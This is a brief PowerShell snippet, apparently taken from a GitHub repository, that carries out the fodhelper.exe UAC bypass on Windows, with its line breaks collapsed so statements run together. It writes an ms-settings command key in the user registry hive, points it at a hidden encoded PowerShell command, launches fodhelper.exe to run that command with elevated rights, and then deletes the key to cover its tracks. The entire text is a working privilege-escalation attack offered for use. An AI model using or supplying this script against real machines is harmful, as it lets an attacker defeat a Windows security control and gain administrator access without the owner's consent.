​
​
https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1​# Create reg structureNew-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -ForceNew-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force​# Place command inSet-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c powershell -encoded <encodecommand>" -Force​# LaunchStart-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden​# CleanStart-Sleep 3Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
​